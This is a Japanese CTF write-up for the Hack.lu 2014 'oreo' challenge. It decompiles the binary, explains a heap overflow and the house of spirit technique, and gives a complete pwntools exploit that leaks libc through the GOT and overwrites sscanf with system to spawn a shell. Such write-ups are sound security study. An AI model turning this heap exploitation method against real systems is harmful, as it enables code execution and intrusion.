Heap exploitation Hack.lu CTF 2014: OREO
Heap exploitation Hack.lu CTF 2014: OREO
How2Heapシリーズの続き、とうとうhouse of spiritまで来た。
house of spirit自体の解説はhttps://github.com/shellphish/how2heap、問題はhttps://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/oreoにある。
Writeupはなしで解けた!
問題
fileとchecksecは以下。
oreo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.26, BuildID[sha1]=f591eececd05c63140b9d658578aea6c24450f8b, stripped Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
x86でセキュリティ機構は普通。
Rifleを購入するプログラムになっていて、名前や説明の入力をして注文したり、メモのようなものを残すことができる。
解析
Radareで解析してマニュアルデコンパイルしたコードは以下。
#include <stdio.h> #include <stdlib.h> #include <string.h> void main_loop(); int read_input_num(); void check_last_char(char* buf); void add_rifle(); void show_rifle(); void order_rifle(); void leave_msg(); void show_status(); // size 0x38 struct tmp_st { char description[0x19]; char name[0x1b]; // 0x19 struct tmp_st *next; // 0x34 }; struct tmp_st* head_ptr; // 0x804a288 int order_count; // 0x804a2a0 int list_count; // 0x804a2a4 char *msg; // 0x804a2a8 char global_buf[0x80]; // 0x804a2c0 int main(int argc, char** argv){ // print welcome // initialize list_count = 0; order_count = 0; msg = global_buf; main_loop(); return 0; } void main_loop() { // show menu while(1) { switch(read_input_num()) { case 1: add_rifle(); break; case 2: show_rifle(); break; case 3: order_rifle(); break; case 4: leave_msg(); break; case 5: show_status(); break; case 6: return; default: break; } } } int read_input_num() { char buf[0x20]; int num; while(1) { // print action fgets(buf, sizeof(buf), stdin); if(sscanf(buf, "%u", &num) != 0) { return num; } } } void check_last_char(char* buf) { char* local_buf = buf; char* last = local_buf + strlen(local_buf) - 1; if(last >= buf && *last == '\n') { *last = '\0'; } return; } void add_rifle() { // local_10h = [0x804a288] struct tmp_st* tmp = head_ptr; head_ptr = malloc(sizeof(struct tmp_st)); if(head_ptr == NULL) { // print error return; } head_ptr->next = tmp; // rifle name fgets(head_ptr->name, 0x38, stdin); // sizeof(struct tmp_st)? check_last_char(head_ptr->name); // description fgets(head_ptr->description, 0x38, stdin); check_last_char(head_ptr->description); list_count++; return; } void show_rifle() { // printf struct tmp_st* head = head_ptr; while(head != NULL) { // print head->name // print head->description head = head->next; } return; } void order_rifle() { struct tmp_st* head = head_ptr; if(list_count == 0) { // no rifle return; } while(head != NULL) { struct tmp_st* tmp = head; head = head->next; free(tmp); } head_ptr = NULL; order_count++; return; } void leave_msg() { // enter notice fgets(msg, 0x80, stdin); return; } void show_status() { // print list_count // print order_count if(msg[0] != '\0') { // print msg } return; }
ちょっと整理されてない。
add_rifle
に脆弱性があり、バッファのサイズを指定するべき場所に構造体tmp_st
のサイズが指定されているため、ヒープ上でのバッファオーバーフローが存在している。
よってtmp_st.name
から0x38だけ任意の値に書き換えられる、例えばnext
とか。
これによりリンクリストの次の領域を任意のアドレスに指定できるので、任意の領域をfree
することができる。
解法
house of spirit
簡単に説明すると、chunkと同じように値を設定してやることでheap領域以外をfreeしてfastbinsに繋ぐ攻撃である。
こうすることで任意の領域をmallocに返させて、値を書き込んだりできるようになる。
house of spiritを使うことは分かっているので、それを意識して考えてみた。
すると、グローバル変数の値を適切に設定してやれば、ヒープオーバーフローでfree
させられそうだと思い付いた。
どこが書き換えられると嬉しいかを考えると、leave_msg
で任意の入力を書き込めるchar* msg
あたりをmalloc
で返したい。
そこで、msg
の上のlist_count
にサイズを設定しmsg
をfree
することで、次のadd_rifle
で指しているアドレスを改ざんできるようにすることを目指した。
house of spiritによりadd_rifle
でアドレスを改ざんできるようになったので、書き換えるべきアドレスを探した。
GOTを書き換えられるので、ユーザの入力を受け取る標準関数sscanf
を書き換えることにした。
libcのバージョンを特定する必要があったため2つ以上の関数のアドレスをリークさせる必要があるがsscanf
は一番最後の領域にあったため直接sscanf
を指すようにしてしまうとうまくlibcのリークとGOTの書き換えが両立できない。
そこで、ひとつ上のlibc_main
を指定してリークと書き換えが1度にできるようにした。
exploit
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context.update(arch='i386') exe = './oreo' libc = './libc6_2.23-0ubuntu10_i386.so' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote( '', ) else: return process([exe] + argv, env={'LD_PRELOAD': libc}, *a, **kw) #=========================================================== # EXPLOIT GOES HERE #=========================================================== io = start() elf = ELF(exe) def add_rifle(name, desc): io.sendline('1') io.sendline(name) io.sendline(desc) return def show_rifle(): sep = '===================================' io.sendline('2') io.recvuntil(sep) return io.recvuntil(sep).replace(sep, '') def order_rifle(): io.sendline('3') return def leave_msg(notice): io.sendline('4') io.sendline(notice) return def show_status(): io.sendline('5') io.recvuntil('======= Status =======') sep = '======================' return io.recvuntil(sep).replace(sep, '') log.info('Exploit Start!') # 最初にオーバーフローを利用して、 log.info('Overwrite next ptr by overflow.') # set 0x41 order count for chunk size field. for i in range(0x41 - 1): # -1 for additional add_rifle add_rifle('A' * 4, 'B' * 4) log.info('Create fake chunk.') # Fake chunk layout # order_count: prev_size # list_count: user_data, size # msg: 4 # space: 0x18 # global_buf: 0x34 - 0x18 + NULL + prev_size + size global_buf_addr = 0x804a2c0 order_count_addr = 0x804a2a0 list_count_addr = 0x804a2a4 log.info("Firstly, overwrite tmp_st.next to msg (list_count_addr + 4).") payload = 'C' * 0x1b # padding payload += p32(list_count_addr + 0x4) # prev_sizeとsizeの分だけずらして設定する add_rifle(payload, 'D' * 4) payload = 'E' * (0x34 - 0x18) # char* msgとパディング分をスキップ payload += '\0' * 4 # nextをNULLに payload += 'H' * 4 # prev_sizeを適当に payload += p32(0x41) assert (len(payload) <= 0x80) leave_msg(payload) order_rifle() # fastbinにorder_countのアドレスが繋がれる log.info('Overwrite msg.') # descriptionに書き込んでmsgをfree@GOTを指すように書き換える # chunkがorder_countを指しているので、mallocで返ってくるのはmsgになる log.info('Leak libc function address') # libcを特定ために2つの関数アドレスをリークする必要がある # sscanfを書き換えられる必要がある # なのでlibc_start_mainからリークさせる payload = p32(elf.got['__libc_start_main']) add_rifle('IIII', payload) status = show_status().split('\n')[-2].replace('Order Message: ', '') libc_main_addr = u32(status[:4]) sscanf_addr = u32(status[4:8]) log.info('__libc_start_main@GOT: 0x{:x}'.format(libc_main_addr)) log.info('__isoc99_sscanf@GOT: 0x{:x}'.format(sscanf_addr)) log.info('Now, you can get libc from libc database.') log.info('Overwrite sscanf to system.') libc = ELF(libc) libc_base = sscanf_addr - libc.symbols['__isoc99_sscanf'] log.info('libc base: 0x{:x}'.format(libc_base)) system_addr = libc.symbols['system'] + libc_base leave_msg('J' * 4 + p32(system_addr)) # これでsscanfがsystemになる # 数値読み取りに渡される文字列に/bin/shを指定することでsystemでシェル起動 io.sendline('/bin/sh' + '\0') io.interactive()
まとめ
時間はかかったけど自力で解けたので嬉しい。 だんだんコツが分かってきた。